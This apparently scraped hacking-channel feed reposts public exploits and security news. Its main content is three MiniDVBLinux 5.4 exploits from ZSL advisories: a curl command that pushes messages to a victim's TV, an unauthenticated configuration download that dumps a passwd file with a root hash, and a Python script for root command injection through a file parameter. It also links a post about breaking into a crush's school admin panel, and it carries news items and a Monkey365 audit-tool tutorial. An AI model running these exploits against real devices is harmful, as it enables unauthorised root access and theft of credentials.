Hacking Articles Tips Tricks Videos Tutorials

WordPress Photo Gallery 1.8.0 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 15:34

Exploit Collector
MiniDVBLinux 5.4 SVDRP Control

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
MiniDVBLinux versions 5.4 and below allows the usage of the SVDRP protocol/commands to be sent by a remote attacker to manipulate and/or remotely control the TV.

SHA-256 | 6ca45864b59b9bfcfbf2d0155585603457973998837abe6c8927faea25e9ab5c

Download


MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: 

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application allows the usage of the SVDRP protocol/commands
to be sent by a remote attacker to manipulate and/or control remotely
the TV.

Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5714
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php
24.09.2022

--
Send a message to the TV screen:

curl http://ip:8008/?site=commands§ion=system&command=svdrpsend.sh%20MESG%20WE%20ARE%20WATCHING%20YOU!

220 mld SVDRP VideoDiskRecorder 2.4.6; Wed Sep 28 13:07:51 2022; UTF-8
250 Message queued
221 mld closing connection

For more commands:
- https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

MiniDVBLinux 5.4 SVDRP Control

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 15:34

Exploit Collector
MiniDVBLinux 5.4 Configuration Download

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
MiniDVBLinux versions 5.4 and below are vulnerable to an unauthenticated configuration download when a direct object reference is made to the backup function using an HTTP GET request.

SHA-256 | 7ab888db49eea26e9ca7aff5173e0acde777a68547b67c2e28778d0e329d35b7

Download


MiniDVBLinux 5.4 Config Download Exploit
Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: 

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application is vulnerable to unauthenticated configuration
download when direct object reference is made to the backup function
using an HTTP GET request. This will enable the attacker to disclose
sensitive information and help her in authentication bypass, privilege
escalation and full system access.

====================================================================
/var/www/tpl/setup/Backup/Edit\ backup/51_download_backup.sh:
------------------------------------------------------------
01: 
02: if [ "$GET_action" = "getconfig" ]; then
03:     . /etc/rc.config
04:     header "Content-Type: application/x-compressed-tar"
05:     header "Content-Disposition: filename=`date +%Y-%m-%d_%H%M_$HOST_NAME`_config.tgz"
06:     /usr/bin/backup-config.sh export /tmp/backup_config_$$.tgz &>/dev/null
07:     cat /tmp/backup_config_$$.tgz
08:     rm -rf /tmp/backup_config*
09:     exit
10: fi
11: ?>
12: 
====================================================================

Tested on: MiniDVBLinux 5.4
BusyBox v1.25.1
Architecture: armhf, armhf-rpi2
GNU/Linux 4.19.127.203 (armv7l)
VideoDiskRecorder 2.4.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5713
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5713.php
24.09.2022

--
> curl http://ip:8008/tpl/setup/Backup/Edit%20backup/51_download_backup.sh?action=getconfig -o config.tgz
> mkdir configdir
> tar -xvzf config.tgz -C .\configdir
> cd configdir && cd etc
> type passwd
root:$1$ToYyWzqq$oTUM6EpspNot2e1eyOudO0:0:0:root:/root:/bin/sh
daemon:!:1:1::/:
ftp:!:40:2:FTP account:/:/bin/sh
user:!:500:500::/home/user:/bin/sh
nobody:!:65534:65534::/tmp:
_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

MiniDVBLinux 5.4 Configuration Download

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 15:34

4 views15:34

4 views15:34

4 views15:35

4 views15:35

Exploit Collector
MiniDVBLinux 5.4 Remote Root Command Injection

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
MiniDVBLinux version 5.4 suffers from an OS command injection vulnerability. This can be exploited to execute arbitrary commands with root privileges.

SHA-256 | e19e04d5e5328c8f948b2f62f7f2a2d8c6c3b2ef2b324f8e880e61bc0db1f5c1

Download

#!/usr/bin/env python3
#
#
# MiniDVBLinux 5.4 Remote Root Command Injection Vulnerability
#
#
# Vendor: MiniDVBLinux
# Product web page: https://www.minidvblinux.de
# Affected version: 
#
# Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
# way to convert a standard PC into a Multi Media Centre based on the
# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
# Linux based Digital Video Recorder: Watch TV, Timer controlled
# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
# via browser, and a lot more. MLD strives to be as small as possible,
# modular, simple. It supports numerous hardware platforms, like classic
# desktops in 32/64bit and also various low power ARM systems.
#
# Desc: The application suffers from an OS command injection vulnerability.
# This can be exploited to execute arbitrary commands with root privileges.
#
# Tested on: MiniDVBLinux 5.4
#            BusyBox v1.25.1
#            Architecture: armhf, armhf-rpi2
#            GNU/Linux 4.19.127.203 (armv7l)
#            VideoDiskRecorder 2.4.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5717
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5717.php
#
#
# 24.09.2022
#

import requests
import re,sys

#test case 001
#http://ip:8008/?site=about&name=MLD%20about&file=/boot/ABOUT
#test case 004
#http://ip:8008/?site=about&name=blind&file=$(id)
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory
#test case 005
#http://ip:8008/?site=about&name=blind&file=`id`
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory

if len(sys.argv) < 3:
print('MiniDVBLinux 5.4 Command Injection PoC')
print('Usage: ./mldhd_root2.py [url] [cmd]')
sys.exit(17)
else:
url = sys.argv[1]
cmd = sys.argv[2]

req = requests.get(url+'/?site=about&name=ZSL&file=$('+cmd+')')
outz = re.search('(.*?)',req.text,flags=re.S).group()
print(outz.replace('','').replace('',''))

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

MiniDVBLinux 5.4 Remote Root Command Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

6 viewsedited 15:35

7 views15:35

Exploit Collector
Knap Advanced PHP Login 3.1.3 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Knap Advanced PHP Login 3.1.3 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 15:35

How I Hacked my Crush’s school !

How I Hacked my Crush’s school !
https://ntf-sadnan.medium.com/how-i-hacked-my-crushs-school-c469539e3670?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

How I got access of my Crush’s School’s Website’s Admin panel

8 viewsedited 15:50

6 views15:50

How I Hacked my Crush’s school !

How I got access of my Crush’s School’s Website’s Admin panelContinue reading on Medium » (https://ntf-sadnan.medium.com/how-i-hacked-my-crushs-school-c469539e3670?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

How I got access of my Crush’s School’s Website’s Admin panel

6 viewsedited 15:50

Dark Reading: Attacks/Breaches
What Fast-Talkers Can Teach Us About Vetting Vendors

Here's how to differentiate vendors that can back up their words with solutions and those that cannot.

5 views16:06

Source

Dark Reading: Attacks/Breaches
Disinformation Attacks Threaten US Midterm Elections

Foreign nations continue to target various US public entities and private industries with cyberattacks, but the coming midterms are driving more disinformation than hacking, say experts.

5 views16:06

Source

Dark Reading: Attacks/Breaches
4 Stakeholders Critical to Addressing the Cybersecurity Workforce Gap

A cross-disciplinary effort of change is needed to attract new professionals in the coming decade.

6 views16:06

Source

Imprivata Expands Its Integrated Digital Identity Platform to Defragment Identities Across Disparate Applications

Dark Reading: Attacks/Breaches
Imprivata Expands Its Integrated Digital Identity Platform to Defragment Identities Across Disparate Applications

Offers solution to accelerate identity intelligence through simplified, yet extensive, visibility of user activity.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Offers solution to accelerate identity intelligence through simplified, yet extensive, visibility of user activity.

6 viewsedited 16:07

7 views16:27

Monkey365 - Tool For Security Consultants Microsoft 365

Kali Linux Tutorials
Monkey365 – Tool For Security Consultants Microsoft 365

Monkey365 is an Open Source security tool that can be used to easily conduct not only Microsoft 365, but also Azure subscriptions and Azure Active Directory security configuration reviews without the significant overhead of learning tool APIs or complex admin panels from the start. To help with this effort, Monkey365 also provides several ways to identify security gaps in the desired tenant setup and configuration. Monkey365 provides valuable recommendations on how to best configure those settings to get the most out of your Microsoft 365 tenant or Azure subscription. IntroductionMonkey365 is a plugin-based PowerShell module that can be used to review the security posture of your cloud environment. With Monkey365 you can scan for potential misconfigurations and security issues in public cloud accounts according to security best practices and compliance standards, across Azure, Azure AD, and Microsoft365 core applications. InstallationYou can either download the latest zip by clicking this link or download Monkey365 by cloning the repository:

Once downloaded, you must extract the file and extract the files to a suitable directory. Once you have unzipped the zip file, you can use the PowerShell V3 Unblock-File cmdlet to unblock files:
Get-ChildItem -Recurse c:\monkey365 | Unblock-File
Once you have installed the monkey365 module on your system, you will likely want to import the module with the Import-Module cmdlet. Assuming that Monkey365 is located in the PSModulePath, PowerShell would load monkey365 into active memory:
Import-Module monkey365
If Monkey365 is not located on a PSModulePathpath, you can use an explicit path to import:
Import-Module C:\temp\monkey365
You can also use the Forceparameter in case you want to reimport the Monkey365 module into the same session
Import-Module C:\temp\monkey365 -Force Basic UsageThe following command will provide the list of available command line options:
Get-Help Invoke-Monkey365
To get a list of examples use:
Get-Help Invoke-Monkey365 -Examples
To get a list of all options and examples with detailed info use:
Get-Help Invoke-Monkey365 -Detailed
The following example will retrieve data and metadata from Azure AD and SharePoint Online and then print results. If credentials are not supplied, Monkey365 will prompt for credentials.
$param = @{
Instance = 'Microsoft365';
Analysis = 'SharePointOnline';
PromptBehavior = 'SelectAccount';
IncludeAzureActiveDirectory = $true;
ExportTo = 'PRINT';
}
$assets = Invoke-Monkey365 @param Regulatory Compliance ChecksMonkey365 helps streamline the process of performing not only Microsoft 365, but also Azure subscriptions and Azure Active Directory Security Reviews.

160+ checks covering industry defined security best practices for Microsoft 365, Azure and Azure Active Directory.

Monkey365 will help consultants to assess cloud environment and to analyze the risk factors according to controls and best practices. The report will contain structured data for quick checking and verification of the results.

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq8Ik1Wy3qXRDAswya_jkoFltxsXt8hdJ9kt-NaUJZwysKPfLXCMB3GaKkUjZOgE-niLBLyH0ptaYHJrtaykgZfDm3Qd3jWgXlgZAPWlURNuU3LWt3aKdkIkn8EeXBoE3pPt1OJVZtHkfVEp6Z6cRiK1Qlk_p5ol355cQZc1k4L0wtwC3bLf0Xat8r/s2521/Monkey365(1).png Supported StandardsBy default, the HTML report shows you the CIS (Center for Internet Security) Benchmark. The CIS Benchmarks for Azure and Microsoft 365 are guidelines for security and compliance best practices.

The following standards are supported by Monkey365:

* CIS Microsoft Azure Foundations Benchmark v1.4.0
* CIS Microsoft 365 Foundations Benchmark v1.4.0

More standards will be added in next releases (NIST, HIPAA, GDPR, PCI-DSS, etc..) as they are available.

Additional information such as Installation or advanced usage can be found in the following link Click Here To Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Monkey365 is an Open Source security tool that can be used to easily conduct not only Microsoft 365, but also Azure subscriptions and Azure Active Directory security configuration reviews without the significant overhead of learning tool APIs or complex admin…

10 viewsedited 16:27

From the hacking community on Reddit

hacking: security in practice
Pool on the roof - October 17, 2022

Have a no0b question? New to hacking? Looking for a script? Need help with your github project? Something wrong with your payload? Stuck on a CTF or bug bounty?

This is a weekly recurring post to make friends with other hackers, ask questions, and get any type of help you may need.

Make sure to read our wiki as it's full of resources for you.

Keep all beginner questions in this weekly stickied post.

submitted by /u/AutoModerator
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Explore this post and more from the hacking community

10 viewsedited 16:29